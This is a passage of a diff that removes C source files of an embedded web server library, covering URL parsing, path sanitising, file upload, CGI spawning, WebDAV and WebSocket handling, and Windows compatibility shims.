-    if (pattern[i] == '?' && str[j] != '\0') {
-      continue;
-    } else if (pattern[i] == '$') {
-      return str[j] == '\0' ? j : -1;
-    } else if (pattern[i] == '*') {
-      i++;
-      if (pattern[i] == '*') {
-        i++;
-        len = (int) strlen(str + j);
-      } else {
-        len = (int) strcspn(str + j, "/");
-      }
-      if (i == pattern_len) {
-        return j + len;
-      }
-      do {
-        res = match_prefix(pattern + i, pattern_len - i, str + j + len);
-      } while (res == -1 && len-- > 0);
-      return res == -1 ? -1 : j + res + len;
-    } else if (lowercase(&pattern[i]) != lowercase(&str[j])) {
-      return -1;
-    }
-  }
-  return j;
-}
-
-// Protect against directory disclosure attack by removing '..',
-// excessive '/' and '\' characters
-static void remove_double_dots_and_double_slashes(char *s) {
-  char *p = s;
-
-  while (*s != '\0') {
-    *p++ = *s++;
-    if (s[-1] == '/' || s[-1] == '\\') {
-      // Skip all following slashes, backslashes and double-dots
-      while (s[0] != '\0') {
-        if (s[0] == '/' || s[0] == '\\') {
-          s++;
-        } else if (s[0] == '.' && s[1] == '.') {
-          s += 2;
-        } else {
-          break;
-        }
-      }
-    }
-  }
-  *p = '\0';
-}
-
-void mg_url_encode(const char *src, char *dst, size_t dst_len) {
-  static const char *dont_escape = "._-$,;~()";
-  static const char *hex = "0123456789abcdef";
-  const char *end = dst + dst_len - 1;
-
-  for (; *src != '\0' && dst < end; src++, dst++) {
-    if (isalnum(*(const unsigned char *) src) ||
-        strchr(dont_escape, * (const unsigned char *) src) != NULL) {
-      *dst = *src;
-    } else if (dst + 2 < end) {
-      dst[0] = '%';
-      dst[1] = hex[(* (const unsigned char *) src) >> 4];
-      dst[2] = hex[(* (const unsigned char *) src) & 0xf];
-      dst += 2;
-    }
-  }
-
-  *dst = '\0';
-}
-
-int mg_url_decode(const char *src, int src_len, char *dst,
-                  int dst_len, int is_form_url_encoded) {
-  int i, j, a, b;
-#define HEXTOI(x) (isdigit(x) ? x - '0' : x - 'W')
-
-  for (i = j = 0; i < src_len && j < dst_len - 1; i++, j++) {
-    if (src[i] == '%' && i < src_len - 2 &&
-        isxdigit(* (const unsigned char *) (src + i + 1)) &&
-        isxdigit(* (const unsigned char *) (src + i + 2))) {
-      a = tolower(* (const unsigned char *) (src + i + 1));
-      b = tolower(* (const unsigned char *) (src + i + 2));
-      dst[j] = (char) ((HEXTOI(a) << 4) | HEXTOI(b));
-      i += 2;
-    } else if (is_form_url_encoded && src[i] == '+') {
-      dst[j] = ' ';
-    } else {
-      dst[j] = src[i];
-    }
-  }
-
-  dst[j] = '\0'; // Null-terminate the destination
-
-  return i >= src_len ? j : -1;
-}
-
-// Check whether full request is buffered. Return:
-//   -1  if request is malformed
-//    0  if request is not yet fully buffered
-//   >0  actual request length, including last \r\n\r\n
-static int get_request_len(const char *buf, int buf_len) {
-  int i;
-
-  for (i = 0; i < buf_len; i++) {
-    // Control characters are not allowed but >=128 is.
-    // Abort scan as soon as one malformed character is found;
-    // don't let subsequent \r\n\r\n win us over anyhow
-    if (!isprint(* (const unsigned char *) &buf[i]) && buf[i] != '\r' &&
-        buf[i] != '\n' && * (const unsigned char *) &buf[i] < 128) {
-      return -1;
-    } else if (buf[i] == '\n' && i + 1 < buf_len && buf[i + 1] == '\n') {
-      return i + 2;
-    } else if (buf[i] == '\n' && i + 2 < buf_len && buf[i + 1] == '\r' &&
-               buf[i + 2] == '\n') {
-      return i + 3;
-    }
-  }
-
-  return 0;
-}
-
-int mg_get_cookie(const char *cookie_header, const char *var_name,
-                  char *dst, size_t dst_size) {
-  const char *s, *p, *end;
-  int name_len, len = -1;
-
-  if (dst == NULL || dst_size == 0) {
-    len = -2;
-  } else if (var_name == NULL || (s = cookie_header) == NULL) {
-    len = -1;
-    dst[0] = '\0';
-  } else {
-    name_len = (int) strlen(var_name);
-    end = s + strlen(s);
-    dst[0] = '\0';
-
-    for (; (s = mg_strcasestr(s, var_name)) != NULL; s += name_len) {
-      if (s[name_len] == '=') {
-        s += name_len + 1;
-        if ((p = strchr(s, ' ')) == NULL)
-          p = end;
-        if (p[-1] == ';')
-          p--;
-        if (*s == '"' && p[-1] == '"' && p > s + 1) {
-          s++;
-          p--;
-        }
-        if ((size_t) (p - s) < dst_size) {
-          len = p - s;
-          mg_strlcpy(dst, s, (size_t) len + 1);
-        } else {
-          len = -3;
-        }
-        break;
-      }
-    }
-  }
-  return len;
-}
-
-int mg_get_var(const char *data, size_t data_len, const char *name,
-               char *dst, size_t dst_len) {
-  const char *p, *e, *s;
-  size_t name_len;
-  int len;
-
-  if (dst == NULL || dst_len == 0) {
-    len = -2;
-  } else if (data == NULL || name == NULL || data_len == 0) {
-    len = -1;
-    dst[0] = '\0';
-  } else {
-    name_len = strlen(name);
-    e = data + data_len;
-    len = -1;
-    dst[0] = '\0';
-
-    // data is "var1=val1&var2=val2...". Find variable first
-    for (p = data; p + name_len < e; p++) {
-      if ((p == data || p[-1] == '&') && p[name_len] == '=' &&
-          !mg_strncasecmp(name, p, name_len)) {
-
-        // Point p to variable value
-        p += name_len + 1;
-
-        // Point s to the end of the value
-        s = (const char *) memchr(p, '&', (size_t)(e - p));
-        if (s == NULL) {
-          s = e;
-        }
-        assert(s >= p);
-
-        // Decode variable into destination buffer
-        len = mg_url_decode(p, (size_t)(s - p), dst, dst_len, 1);
-
-        // Redirect error code from -1 to -2 (destination buffer too small).
-        if (len == -1) {
-          len = -2;
-        }
-        break;
-      }
-    }
-  }
-
-  return len;
-}

build/src/unix.c

@@ -1,105 +0,0 @@
-#include "internal.h"
-
-#if !defined(_WIN32)
-static int mg_stat(const char *path, struct file *filep) {
-  struct stat st;
-
-  filep->modification_time = (time_t) 0;
-  if (stat(path, &st) == 0) {
-    filep->size = st.st_size;
-    filep->modification_time = st.st_mtime;
-    filep->is_directory = S_ISDIR(st.st_mode);
-
-    // See https://github.com/cesanta/mongoose/issues/109
-    // Some filesystems report modification time as 0. Artificially
-    // bump it up to mark mg_stat() success.
-    if (filep->modification_time == (time_t) 0) {
-      filep->modification_time = (time_t) 1;
-    }
-  }
-
-  return filep->modification_time != (time_t) 0;
-}
-
-static void set_close_on_exec(int fd) {
-  fcntl(fd, F_SETFD, FD_CLOEXEC);
-}
-
-int mg_start_thread(mg_thread_func_t func, void *param) {
-  pthread_t thread_id;
-  pthread_attr_t attr;
-  int result;
-
-  (void) pthread_attr_init(&attr);
-  (void) pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
-
-#if USE_STACK_SIZE > 1
-  // Compile-time option to control stack size, e.g. -DUSE_STACK_SIZE=16384
-  (void) pthread_attr_setstacksize(&attr, USE_STACK_SIZE);
-#endif
-
-  result = pthread_create(&thread_id, &attr, func, param);
-  pthread_attr_destroy(&attr);
-
-  return result;
-}
-
-#ifndef NO_CGI
-static pid_t spawn_process(struct mg_connection *conn, const char *prog,
-                           char *envblk, char *envp[], int fdin,
-                           int fdout, const char *dir) {
-  pid_t pid;
-  const char *interp;
-
-  (void) envblk;
-
-  if ((pid = fork()) == -1) {
-    // Parent
-    send_http_error(conn, 500, http_500_error, "fork(): %s", strerror(ERRNO));
-  } else if (pid == 0) {
-    // Child
-    if (chdir(dir) != 0) {
-      cry(conn, "%s: chdir(%s): %s", __func__, dir, strerror(ERRNO));
-    } else if (dup2(fdin, 0) == -1) {
-      cry(conn, "%s: dup2(%d, 0): %s", __func__, fdin, strerror(ERRNO));
-    } else if (dup2(fdout, 1) == -1) {
-      cry(conn, "%s: dup2(%d, 1): %s", __func__, fdout, strerror(ERRNO));
-    } else {
-      // Not redirecting stderr to stdout, to avoid output being littered
-      // with the error messages.
-      (void) close(fdin);
-      (void) close(fdout);
-
-      // After exec, all signal handlers are restored to their default values,
-      // with one exception of SIGCHLD. According to POSIX.1-2001 and Linux's
-      // implementation, SIGCHLD's handler will leave unchanged after exec
-      // if it was set to be ignored. Restore it to default action.
-      signal(SIGCHLD, SIG_DFL);
-
-      interp = conn->ctx->config[CGI_INTERPRETER];
-      if (interp == NULL) {
-        (void) execle(prog, prog, NULL, envp);
-        cry(conn, "%s: execle(%s): %s", __func__, prog, strerror(ERRNO));
-      } else {
-        (void) execle(interp, interp, prog, NULL, envp);
-        cry(conn, "%s: execle(%s %s): %s", __func__, interp, prog,
-            strerror(ERRNO));
-      }
-    }
-    exit(EXIT_FAILURE);
-  }
-
-  return pid;
-}
-#endif // !NO_CGI
-
-static int set_non_blocking_mode(SOCKET sock) {
-  int flags;
-
-  flags = fcntl(sock, F_GETFL, 0);
-  (void) fcntl(sock, F_SETFL, flags | O_NONBLOCK);
-
-  return 0;
-}
-#endif // _WIN32
-

build/src/upload.c

@@ -1,140 +0,0 @@
-#include "internal.h"
-
-FILE *mg_upload(struct mg_connection *conn, const char *destination_dir,
-                char *path, int path_len) {
-  const char *content_type_header, *boundary_start;
-  char *buf, fname[1024], boundary[100], *s, *p;
-  int bl, n, i, j, headers_len, boundary_len, eof, buf_len, to_read, len = 0;
-  FILE *fp;
-
-  // Request looks like this:
-  //
-  // POST /upload HTTP/1.1
-  // Host: 127.0.0.1:8080
-  // Content-Length: 244894
-  // Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRVr
-  //
-  // ------WebKitFormBoundaryRVr
-  // Content-Disposition: form-data; name="file"; filename="accum.png"
-  // Content-Type: image/png
-  //
-  //  <89>PNG
-  //  <PNG DATA>
-  // ------WebKitFormBoundaryRVr
-
-  // Extract boundary string from the Content-Type header
-  if ((content_type_header = mg_get_header(conn, "Content-Type")) == NULL ||
-      (boundary_start = mg_strcasestr(content_type_header,
-                                      "boundary=")) == NULL ||
-      (sscanf(boundary_start, "boundary=\"%99[^\"]\"", boundary) == 0 &&
-       sscanf(boundary_start, "boundary=%99s", boundary) == 0) ||
-      boundary[0] == '\0') {
-    return NULL;
-  }
-
-  boundary_len = strlen(boundary);
-  bl = boundary_len + 4;  // \r\n--<boundary>
-
-  //                     buf
-  // conn->buf            |<--------- buf_len ------>|
-  //    |=================|==========|===============|
-  //    |<--request_len-->|<--len--->|               |
-  //    |<-----------data_len------->|      conn->buf + conn->buf_size
-
-  buf = conn->buf + conn->request_len;
-  buf_len = conn->buf_size - conn->request_len;
-  len = conn->data_len - conn->request_len;
-
-  for (;;) {
-    // Pull in headers
-    assert(len >= 0 && len <= buf_len);
-    to_read = buf_len - len;
-    if (to_read > left_to_read(conn)) {
-      to_read = (int) left_to_read(conn);
-    }
-    while (len < buf_len &&
-           (n = pull(NULL, conn, buf + len, to_read)) > 0) {
-      len += n;
-    }
-    if ((headers_len = get_request_len(buf, len)) <= 0) {
-      break;
-    }
-
-    // Fetch file name.
-    fname[0] = '\0';
-    for (i = j = 0; i < headers_len; i++) {
-      if (buf[i] == '\r' && buf[i + 1] == '\n') {
-        buf[i] = buf[i + 1] = '\0';
-        // TODO(lsm): don't expect filename to be the 3rd field,
-        // parse the header properly instead.
-        sscanf(&buf[j], "Content-Disposition: %*s %*s filename=\"%1023[^\"]",
-               fname);
-        j = i + 2;
-      }
-    }
-
-    // Give up if the headers are not what we expect
-    if (fname[0] == '\0') {
-      break;
-    }
-
-    // Move data to the beginning of the buffer
-    assert(len >= headers_len);
-    memmove(buf, &buf[headers_len], len - headers_len);
-    len -= headers_len;
-    conn->data_len = conn->request_len + len;
-
-    // We open the file with exclusive lock held. This guarantee us
-    // there is no other thread can save into the same file simultaneously.
-    fp = NULL;
-
-    // Construct destination file name. Do not allow paths to have slashes.
-    s = fname;
-    if ((p = strrchr(fname, '/')) != NULL && p > s) s = p;
-    if ((p = strrchr(fname, '\\')) != NULL && p > s) s = p;
-
-    // Open file in binary mode. TODO: set an exclusive lock.
-    snprintf(path, path_len, "%s/%s", destination_dir, s);
-    if ((fp = fopen(path, "wb")) == NULL) {
-      break;
-    }
-
-    // Read POST data, write into file until boundary is found.
-    eof = n = 0;
-    do {
-      len += n;
-      for (i = 0; i < len - bl; i++) {
-        if (!memcmp(&buf[i], "\r\n--", 4) &&
-            !memcmp(&buf[i + 4], boundary, boundary_len)) {
-          // Found boundary, that's the end of file data.
-          fwrite(buf, 1, i, fp);
-          eof = 1;
-          memmove(buf, &buf[i + bl], len - (i + bl));
-          len -= i + bl;
-          break;
-        }
-      }
-      if (!eof && len > bl) {
-        fwrite(buf, 1, len - bl, fp);
-        memmove(buf, &buf[len - bl], bl);
-        len = bl;
-      }
-      to_read = buf_len - len;
-      if (to_read > left_to_read(conn)) {
-        to_read = (int) left_to_read(conn);
-      }
-    } while (!eof && (n = pull(NULL, conn, buf + len, to_read)) > 0);
-    conn->data_len = conn->request_len + len;
-
-    if (eof) {
-      rewind(fp);
-      return fp;
-    } else {
-      fclose(fp);
-    }
-  }
-
-  return NULL;
-}
-
-

build/src/util.c

@@ -1,30 +0,0 @@
-#include "internal.h"
-
-// Return fake connection structure. Used for logging, if connection
-// is not applicable at the moment of logging.
-static struct mg_connection *fc(struct mg_context *ctx) {
-  static struct mg_connection fake_connection;
-  fake_connection.ctx = ctx;
-  // See https://github.com/cesanta/mongoose/issues/236
-  fake_connection.event.user_data = ctx->user_data;
-  return &fake_connection;
-}
-
-static void sockaddr_to_string(char *buf, size_t len,
-                                     const union usa *usa) {
-  buf[0] = '\0';
-#if defined(USE_IPV6)
-  inet_ntop(usa->sa.sa_family, usa->sa.sa_family == AF_INET ?
-            (void *) &usa->sin.sin_addr :
-            (void *) &usa->sin6.sin6_addr, buf, len);
-#elif defined(_WIN32)
-  // Only Windoze Vista (and newer) have inet_ntop()
-  strncpy(buf, inet_ntoa(usa->sin.sin_addr), len);
-#else
-  inet_ntop(usa->sa.sa_family, (void *) &usa->sin.sin_addr, buf, len);
-#endif
-}
-
-static void gmt_time_string(char *buf, size_t buf_len, time_t *t) {
-  strftime(buf, buf_len, "%a, %d %b %Y %H:%M:%S GMT", gmtime(t));
-}

build/src/webdav.c

@@ -1,61 +0,0 @@
-#include "internal.h"
-
-// Writes PROPFIND properties for a collection element
-static void print_props(struct mg_connection *conn, const char* uri,
-                        struct file *filep) {
-  char mtime[64];
-  gmt_time_string(mtime, sizeof(mtime), &filep->modification_time);
-  conn->num_bytes_sent += mg_printf(conn,
-      "<d:response>"
-       "<d:href>%s</d:href>"
-       "<d:propstat>"
-        "<d:prop>"
-         "<d:resourcetype>%s</d:resourcetype>"
-         "<d:getcontentlength>%" INT64_FMT "</d:getcontentlength>"
-         "<d:getlastmodified>%s</d:getlastmodified>"
-        "</d:prop>"
-        "<d:status>HTTP/1.1 200 OK</d:status>"
-       "</d:propstat>"
-      "</d:response>\n",
-      uri,
-      filep->is_directory ? "<d:collection/>" : "",
-      filep->size,
-      mtime);
-}
-
-static void print_dav_dir_entry(struct de *de, void *data) {
-  char href[PATH_MAX];
-  char href_encoded[PATH_MAX];
-  struct mg_connection *conn = (struct mg_connection *) data;
-  mg_snprintf(href, sizeof(href), "%s%s",
-              conn->request_info.uri, de->file_name);
-  mg_url_encode(href, href_encoded, PATH_MAX-1);
-  print_props(conn, href_encoded, &de->file);
-}
-
-static void handle_propfind(struct mg_connection *conn, const char *path,
-                            struct file *filep) {
-  const char *depth = mg_get_header(conn, "Depth");
-
-  conn->must_close = 1;
-  conn->status_code = 207;
-  mg_printf(conn, "HTTP/1.1 207 Multi-Status\r\n"
-            "Connection: close\r\n"
-            "Content-Type: text/xml; charset=utf-8\r\n\r\n");
-
-  conn->num_bytes_sent += mg_printf(conn,
-      "<?xml version=\"1.0\" encoding=\"utf-8\"?>"
-      "<d:multistatus xmlns:d='DAV:'>\n");
-
-  // Print properties for the requested resource itself
-  print_props(conn, conn->request_info.uri, filep);
-
-  // If it is a directory, print directory entries too if Depth is not 0
-  if (filep->is_directory &&
-      !mg_strcasecmp(conn->ctx->config[ENABLE_DIRECTORY_LISTING], "yes") &&
-      (depth == NULL || strcmp(depth, "0") != 0)) {
-    scan_directory(conn, path, conn, &print_dav_dir_entry);
-  }
-
-  conn->num_bytes_sent += mg_printf(conn, "%s\n", "</d:multistatus>");
-}

build/src/websocket.c

@@ -1,309 +0,0 @@
-#include "internal.h"
-
-#if defined(USE_WEBSOCKET)
-
-// START OF SHA-1 code
-// Copyright(c) By Steve Reid <steve@edmweb.com>
-#define SHA1HANDSOFF
-#if defined(__sun)
-#include "solarisfixes.h"
-#endif
-
-union char64long16 { unsigned char c[64]; uint32_t l[16]; };
-
-#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits))))
-
-static uint32_t blk0(union char64long16 *block, int i) {
-  // Forrest: SHA expect BIG_ENDIAN, swap if LITTLE_ENDIAN
-  if (!is_big_endian()) {
-    block->l[i] = (rol(block->l[i], 24) & 0xFF00FF00) |
-      (rol(block->l[i], 8) & 0x00FF00FF);
-  }
-  return block->l[i];
-}
-
-#define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \
-    ^block->l[(i+2)&15]^block->l[i&15],1))
-#define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(block, i)+0x5A827999+rol(v,5);w=rol(w,30);
-#define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5);w=rol(w,30);
-#define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5);w=rol(w,30);
-#define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5);w=rol(w,30);
-#define R4(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5);w=rol(w,30);
-
-typedef struct {
-    uint32_t state[5];
-    uint32_t count[2];
-    unsigned char buffer[64];
-} SHA1_CTX;
-
-static void SHA1Transform(uint32_t state[5], const unsigned char buffer[64]) {
-  uint32_t a, b, c, d, e;
-  union char64long16 block[1];
-
-  memcpy(block, buffer, 64);
-  a = state[0];
-  b = state[1];
-  c = state[2];
-  d = state[3];
-  e = state[4];
-  R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3);
-  R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7);
-  R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11);
-  R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15);
-  R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19);
-  R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23);
-  R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27);
-  R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31);
-  R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35);
-  R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39);
-  R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43);
-  R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47);
-  R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51);
-  R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55);
-  R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59);
-  R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63);
-  R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67);
-  R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71);
-  R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75);
-  R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79);
-  state[0] += a;
-  state[1] += b;
-  state[2] += c;
-  state[3] += d;
-  state[4] += e;
-  a = b = c = d = e = 0;
-  memset(block, '\0', sizeof(block));
-}
-
-static void SHA1Init(SHA1_CTX* context) {
-  context->state[0] = 0x67452301;
-  context->state[1] = 0xEFCDAB89;
-  context->state[2] = 0x98BADCFE;
-  context->state[3] = 0x10325476;
-  context->state[4] = 0xC3D2E1F0;
-  context->count[0] = context->count[1] = 0;
-}
-
-static void SHA1Update(SHA1_CTX* context, const unsigned char* data,
-                       uint32_t len) {
-  uint32_t i, j;
-
-  j = context->count[0];
-  if ((context->count[0] += len << 3) < j)
-    context->count[1]++;
-  context->count[1] += (len>>29);
-  j = (j >> 3) & 63;
-  if ((j + len) > 63) {
-    memcpy(&context->buffer[j], data, (i = 64-j));
-    SHA1Transform(context->state, context->buffer);
-    for ( ; i + 63 < len; i += 64) {
-      SHA1Transform(context->state, &data[i]);
-    }
-    j = 0;
-  }
-  else i = 0;
-  memcpy(&context->buffer[j], &data[i], len - i);
-}
-
-static void SHA1Final(unsigned char digest[20], SHA1_CTX* context) {
-  unsigned i;
-  unsigned char finalcount[8], c;
-
-  for (i = 0; i < 8; i++) {
-    finalcount[i] = (unsigned char)((context->count[(i >= 4 ? 0 : 1)]
-                                     >> ((3-(i & 3)) * 8) ) & 255);
-  }
-  c = 0200;
-  SHA1Update(context, &c, 1);
-  while ((context->count[0] & 504) != 448) {
-    c = 0000;
-    SHA1Update(context, &c, 1);
-  }
-  SHA1Update(context, finalcount, 8);
-  for (i = 0; i < 20; i++) {
-    digest[i] = (unsigned char)
-      ((context->state[i>>2] >> ((3-(i & 3)) * 8) ) & 255);
-  }
-  memset(context, '\0', sizeof(*context));
-  memset(&finalcount, '\0', sizeof(finalcount));
-}
-// END OF SHA1 CODE
-
-static void base64_encode(const unsigned char *src, int src_len, char *dst) {
-  static const char *b64 =
-    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
-  int i, j, a, b, c;
-
-  for (i = j = 0; i < src_len; i += 3) {
-    a = src[i];
-    b = i + 1 >= src_len ? 0 : src[i + 1];
-    c = i + 2 >= src_len ? 0 : src[i + 2];
-
-    dst[j++] = b64[a >> 2];
-    dst[j++] = b64[((a & 3) << 4) | (b >> 4)];
-    if (i + 1 < src_len) {
-      dst[j++] = b64[(b & 15) << 2 | (c >> 6)];
-    }
-    if (i + 2 < src_len) {
-      dst[j++] = b64[c & 63];
-    }
-  }
-  while (j % 4 != 0) {
-    dst[j++] = '=';
-  }
-  dst[j++] = '\0';
-}
-
-void mg_websocket_handshake(struct mg_connection *conn) {
-  static const char *magic = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
-  char buf[100], sha[20], b64_sha[sizeof(sha) * 2];
-  SHA1_CTX sha_ctx;
-
-  mg_snprintf(buf, sizeof(buf), "%s%s",
-              mg_get_header(conn, "Sec-WebSocket-Key"), magic);
-  SHA1Init(&sha_ctx);
-  SHA1Update(&sha_ctx, (unsigned char *) buf, strlen(buf));
-  SHA1Final((unsigned char *) sha, &sha_ctx);
-  base64_encode((unsigned char *) sha, sizeof(sha), b64_sha);
-  mg_printf(conn, "%s%s%s",
-            "HTTP/1.1 101 Switching Protocols\r\n"
-            "Upgrade: websocket\r\n"
-            "Connection: Upgrade\r\n"
-            "Sec-WebSocket-Accept: ", b64_sha, "\r\n\r\n");
-}
-
-int mg_websocket_read(struct mg_connection *conn, int *bits, char **data) {
-  // Pointer to the beginning of the portion of the incoming websocket message
-  // queue. The original websocket upgrade request is never removed,
-  // so the queue begins after it.
-  unsigned char *buf = (unsigned char *) conn->buf + conn->request_len;
-  int n, stop = 0;
-  size_t i, len, mask_len, data_len, header_len, body_len;
-  char mask[4];
-
-  assert(conn->content_len == 0);
-
-  // Loop continuously, reading messages from the socket, invoking the callback,
-  // and waiting repeatedly until an error occurs.
-  while (!stop) {
-    header_len = 0;
-    // body_len is the length of the entire queue in bytes
-    // len is the length of the current message
-    // data_len is the length of the current message's data payload
-    // header_len is the length of the current message's header
-    if ((body_len = conn->data_len - conn->request_len) >= 2) {
-      len = buf[1] & 127;
-      mask_len = buf[1] & 128 ? 4 : 0;
-      if (len < 126 && body_len >= mask_len) {
-        data_len = len;
-        header_len = 2 + mask_len;
-      } else if (len == 126 && body_len >= 4 + mask_len) {
-        header_len = 4 + mask_len;
-        data_len = ((((int) buf[2]) << 8) + buf[3]);
-      } else if (body_len >= 10 + mask_len) {
-        header_len = 10 + mask_len;
-        data_len = (((uint64_t) htonl(* (uint32_t *) &buf[2])) << 32) +
-          htonl(* (uint32_t *) &buf[6]);
-      }
-    }
-
-    // Data layout is as follows:
-    //  conn->buf               buf
-    //     v                     v              frame1           | frame2
-    //     |---------------------|----------------|--------------|-------
-    //     |                     |<--header_len-->|<--data_len-->|
-    //     |<-conn->request_len->|<-----body_len----------->|
-    //     |<-------------------conn->data_len------------->|
-
-    if (header_len > 0) {
-      // Allocate space to hold websocket payload
-      if ((*data = malloc(data_len)) == NULL) {
-        // Allocation failed, exit the loop and then close the connection
-        // TODO: notify user about the failure
-        data_len = 0;
-        break;
-      }
-
-      // Save mask and bits, otherwise it may be clobbered by memmove below
-      *bits = buf[0];
-      memcpy(mask, buf + header_len - mask_len, mask_len);
-
-      // Read frame payload into the allocated buffer.
-      assert(body_len >= header_len);
-      if (data_len + header_len > body_len) {
-        len = body_len - header_len;
-        memcpy(*data, buf + header_len, len);
-        // TODO: handle pull error
-        pull_all(NULL, conn, *data + len, data_len - len);
-        conn->data_len = conn->request_len;
-      } else {
-        len = data_len + header_len;
-        memcpy(*data, buf + header_len, data_len);
-        memmove(buf, buf + len, body_len - len);
-        conn->data_len -= len;
-      }
-
-      // Apply mask if necessary
-      if (mask_len > 0) {
-        for (i = 0; i < data_len; i++) {
-          (*data)[i] ^= mask[i % 4];
-        }
-      }
-
-      return data_len;
-    } else {
-      // Buffering websocket request
-      if ((n = pull(NULL, conn, conn->buf + conn->data_len,
-                    conn->buf_size - conn->data_len)) <= 0) {
-        break;
-      }
-      conn->data_len += n;
-    }
-  }
-
-  return 0;
-}
-
-int mg_websocket_write(struct mg_connection* conn, int opcode,
-                       const char *data, size_t data_len) {
-    unsigned char *copy;
-    size_t copy_len = 0;
-    int retval = -1;
-
-    if ((copy = (unsigned char *) malloc(data_len + 10)) == NULL) {
-      return -1;
-    }
-
-    copy[0] = 0x80 + (opcode & 0x0f);
-
-    // Frame format: http://tools.ietf.org/html/rfc6455#section-5.2
-    if (data_len < 126) {
-      // Inline 7-bit length field
-      copy[1] = data_len;
-      memcpy(copy + 2, data, data_len);
-      copy_len = 2 + data_len;
-    } else if (data_len <= 0xFFFF) {
-      // 16-bit length field
-      copy[1] = 126;
-      * (uint16_t *) (copy + 2) = htons(data_len);
-      memcpy(copy + 4, data, data_len);
-      copy_len = 4 + data_len;
-    } else {
-      // 64-bit length field
-      copy[1] = 127;
-      * (uint32_t *) (copy + 2) = htonl((uint64_t) data_len >> 32);
-      * (uint32_t *) (copy + 6) = htonl(data_len & 0xffffffff);
-      memcpy(copy + 10, data, data_len);
-      copy_len = 10 + data_len;
-    }
-
-    // Not thread safe
-    if (copy_len > 0) {
-      retval = mg_write(conn, copy, copy_len);
-    }
-    free(copy);
-
-    return retval;
-}
-#endif // !USE_WEBSOCKET
-

build/src/win32.c

@@ -1,373 +0,0 @@
-#include "internal.h"
-
-#if defined(_WIN32)
-static pthread_t pthread_self(void) {
-  return GetCurrentThreadId();
-}
-
-static int pthread_mutex_init(pthread_mutex_t *mutex, void *unused) {
-  (void) unused;
-  *mutex = CreateMutex(NULL, FALSE, NULL);
-  return *mutex == NULL ? -1 : 0;
-}
-
-static int pthread_mutex_destroy(pthread_mutex_t *mutex) {
-  return CloseHandle(*mutex) == 0 ? -1 : 0;
-}
-
-static int pthread_mutex_lock(pthread_mutex_t *mutex) {
-  return WaitForSingleObject(*mutex, INFINITE) == WAIT_OBJECT_0? 0 : -1;
-}
-
-static int pthread_mutex_unlock(pthread_mutex_t *mutex) {
-  return ReleaseMutex(*mutex) == 0 ? -1 : 0;
-}
-
-// For Windows, change all slashes to backslashes in path names.
-static void change_slashes_to_backslashes(char *path) {
-  int i;
-
-  for (i = 0; path[i] != '\0'; i++) {
-    if (path[i] == '/')
-      path[i] = '\\';
-    // i > 0 check is to preserve UNC paths, like \\server\file.txt
-    if (path[i] == '\\' && i > 0)
-      while (path[i + 1] == '\\' || path[i + 1] == '/')
-        (void) memmove(path + i + 1,
-            path + i + 2, strlen(path + i + 1));
-  }
-}
-
-// Encode 'path' which is assumed UTF-8 string, into UNICODE string.
-// wbuf and wbuf_len is a target buffer and its length.
-static void to_unicode(const char *path, wchar_t *wbuf, size_t wbuf_len) {
-  char buf[PATH_MAX * 2], buf2[PATH_MAX * 2];
-
-  mg_strlcpy(buf, path, sizeof(buf));
-  change_slashes_to_backslashes(buf);
-
-  // Convert to Unicode and back. If doubly-converted string does not
-  // match the original, something is fishy, reject.
-  memset(wbuf, 0, wbuf_len * sizeof(wchar_t));
-  MultiByteToWideChar(CP_UTF8, 0, buf, -1, wbuf, (int) wbuf_len);
-  WideCharToMultiByte(CP_UTF8, 0, wbuf, (int) wbuf_len, buf2, sizeof(buf2),
